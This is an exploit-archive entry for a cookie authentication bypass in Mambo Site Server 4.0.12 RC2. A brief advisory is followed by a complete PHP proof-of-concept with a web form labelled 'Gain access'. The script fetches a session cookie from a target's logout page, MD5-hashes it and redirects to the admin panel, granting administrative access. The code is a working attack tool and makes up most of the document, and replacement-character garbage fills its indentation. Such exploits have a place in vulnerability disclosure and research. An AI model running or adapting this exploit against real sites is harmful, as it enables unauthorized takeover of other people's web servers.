83 lines
No EOL
5 KiB
PHP
83 lines
No EOL
5 KiB
PHP
source: https://www.securityfocus.com/bid/6926/info
|
||
|
||
Mambo Site Server may grant access without sufficiently validating cookie based authentication credentials. It has been reported that Mambo will accept a user cookie sent by the site as an administrative credential. To exploit this issue, the attacker must receive a cookie (such as the one issued during logout) and then use MD5 to encode their session ID in the cookie. The attacker may then access administrative pages using this cookie.
|
||
|
||
This issue was reported in Mambo Site Server 4.0.12 RC2. Earlier versions may also be affected.
|
||
|
||
<?php
|
||
/*
|
||
<EFBFBD><EFBFBD><EFBFBD>mamboexp.php - Mambo 4.0.12 RC2 exploit - Proof of concept
|
||
<EFBFBD><EFBFBD><EFBFBD>Copyright (C) 2003<30><33>Simen Bergo (sbergo@thesource.no)
|
||
<EFBFBD><EFBFBD><EFBFBD>This program is free software; you can redistribute it and/or
|
||
<EFBFBD><EFBFBD><EFBFBD>modify it under the terms of the GNU General Public License
|
||
<EFBFBD><EFBFBD><EFBFBD>as published by the Free Software Foundation; either version 2 of
|
||
<EFBFBD><EFBFBD><EFBFBD>the License or (at your option) any later version.
|
||
<EFBFBD><EFBFBD><EFBFBD>This program is distributed in the hope that it will be
|
||
<EFBFBD><EFBFBD><EFBFBD>useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||
<EFBFBD><EFBFBD><EFBFBD>of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.<2E><>See the
|
||
<EFBFBD><EFBFBD><EFBFBD>GNU General Public License for more details.
|
||
<EFBFBD><EFBFBD><EFBFBD>You should have received a copy of the GNU General Public License
|
||
<EFBFBD><EFBFBD><EFBFBD>along with this program; if not, write to the Free Software
|
||
<EFBFBD><EFBFBD><EFBFBD>Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA<4D><41>02111-1307, USA.
|
||
*/
|
||
/*
|
||
<EFBFBD><EFBFBD><EFBFBD>The problem is that Mambo Site Server does not check whether or not
|
||
<EFBFBD><EFBFBD><EFBFBD>the sessionid is created by the administrator login, or any other
|
||
<EFBFBD><EFBFBD><EFBFBD>part of the website.
|
||
<EFBFBD><EFBFBD><EFBFBD>This program will first connect to /index.php?option=logout which
|
||
<EFBFBD><EFBFBD><EFBFBD>hands us a cookie. Then we will md5() encrypt this cookie and "login"
|
||
<EFBFBD><EFBFBD><EFBFBD>at the administrator section.
|
||
*/
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD># Check if form was submitted
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>if (isset ($_POST['submit'])) {
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD># Connect to server
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$handle = fsockopen ($_POST['hostname'], 80, &$errno, &$errstr);
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD># Halt processing if we we're unable to connect
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>if (!$handle) { die ("Unable to connect to <b>$hostname</b>"); }
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>else {
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD># Get the webpage which will give us the cookie
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>fputs ($handle, "GET /" . trim($_POST['maindir'], "\x5c \x2f") . "/index.php?option=logout HTTP/1.0\nHost:
|
||
{$_POST['hostname']}\n\n");
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD># Loop through the contents
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$buffer = "";
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>while (!feof ($handle)) {
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$buffer .= fgets ($handle, 2000);
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>}
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD># Create an array with each line as a seperate value
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$arr = explode ("\n", $buffer);
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD># Loop through the array looking for the cookie
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>foreach ($arr as $value) {
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD># If we have found the cookie, proceed
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>if (eregi ("Set-Cookie: sessioncookie=", $value)) {
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD># Explode again, to sort out the sessionid
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$var = explode ("=", $value);
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD># Now that we have all the information we need, we can redirect
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>header ("Location: http://{$_POST['hostname']}/" .
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> trim($_POST['admdir'], "\x5c \x2f") . "/index2.php?session_id=" . md5(trim($var[1])));
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>}
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>}
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>}
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>}
|
||
?>
|
||
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
|
||
<EFBFBD><EFBFBD><table border="0" cellspacing="0" cellpadding="0">
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><tr>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><td width="120" height="30">Hostname</td>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><td width="280" height="30"><input type="text" name="hostname" size="30" value="www.mamboserver.com"/></td>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD></tr>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><tr>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><td width="120" height="30">Main directory</td>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><td width="280" height="30"><input type="text" name="maindir" size="30" value=""/></td>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD></tr>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><tr>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><td width="120" height="30">Admin directory</td>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><td width="280" height="30"><input type="text" name="admdir" size="30" value="administrator"/></td>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD></tr>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><tr>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><td width="120" height="30"></td>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><td width="280" height="30"><input type="submit" value="Gain access" name="submit"/> <input type="reset"
|
||
value="Reset"/></td>
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD></tr>
|
||
<EFBFBD><EFBFBD></table>
|
||
</form>
|